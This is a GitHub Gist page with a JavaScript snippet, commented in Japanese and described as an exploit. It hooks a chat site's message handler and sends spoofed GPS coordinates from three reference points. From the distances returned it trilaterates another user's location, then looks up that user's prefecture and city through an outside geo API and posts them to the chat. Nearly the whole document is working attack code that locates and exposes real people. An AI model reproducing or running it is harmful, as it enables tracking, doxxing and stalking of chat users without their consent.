-
-
Save nakamoto/5113611 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* GPS距離から住所を特定するexploit | |
* 作成: javascripter | |
* 3点から座標を割り出す手法のアドバイス: qnighy | |
*/ | |
// メッセージ表示の際に呼ばれるaddChatLog関数をフックする | |
var _addChatLog = addChatLog; | |
addChatLog = function (kind, msg) { | |
if (kind == 4) { // 距離通知のメッセージ | |
var distance = msg.match(/(\d+)/); // km単位での距離 | |
if (distance) { | |
distCallback(parseInt(distance[1], 10)); | |
} | |
} | |
return _addChatLog.apply(this, arguments); | |
}; | |
var queue = []; | |
function distCallback(distance) { | |
if (queue.length) { | |
queue.shift()(distance); | |
} | |
} | |
// 緯度、経度を詐称して送り、相手との距離(km)をcallbackで受け取る | |
function sendGPS(lat, lon, callback) { | |
socket.emit(roomChKey, {type: 'gps', lat: lat, lon: lon}); | |
queue.push(callback); | |
} | |
// 地球の赤道直径 | |
var R = 6378.137; | |
function getGPSLocation(callback) { | |
// 大西洋からの距離でx座標を特定する(大西洋から同距離を半径とする円周上が位置なため) | |
sendGPS(0, 0, function (d1) { | |
var x = Math.cos(d1 / R); | |
// ガラパゴスからの位置でy座標を割り出す | |
sendGPS(0, 90, function (d2) { | |
var y = Math.cos(d2 / R); | |
// 最後に北極からの位置で最後の未確定要素であるz座標を特定 | |
sendGPS(90, 0, function (d3) { | |
var z = Math.cos(d3 / R); | |
// 最後に、3次元座標からGPS座標に変換する | |
// ここでは地球を球とみなして変換するので若干の誤差が生じるが補正を入れれば正確に出せる | |
var lat = Math.atan2(z, Math.sqrt(x * x + y * y)) / Math.PI * 180; | |
var lon = Math.atan2(y, x) / Math.PI * 180; | |
callback(lat, lon); | |
}); | |
}); | |
}); | |
}; | |
function getAddress(json) { | |
try { | |
var loc = json.response.location[0]; | |
$("#sayField").val(loc.prefecture + loc.city + "らへん?"); | |
say(); | |
} catch (ex) { | |
// JSONのバリデーションをスキップするための手抜き | |
} | |
} | |
getGPSLocation(function (lat, lon) { | |
var script = document.createElement("script"); | |
script.src = [ | |
"http://geoapi.heartrails.com/api/json?method=searchByGeoLocation&y=", | |
Number(lat), | |
"&x=", | |
Number(lon), | |
"&callback=getAddress"].join(""); | |
document.body.appendChild(script); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment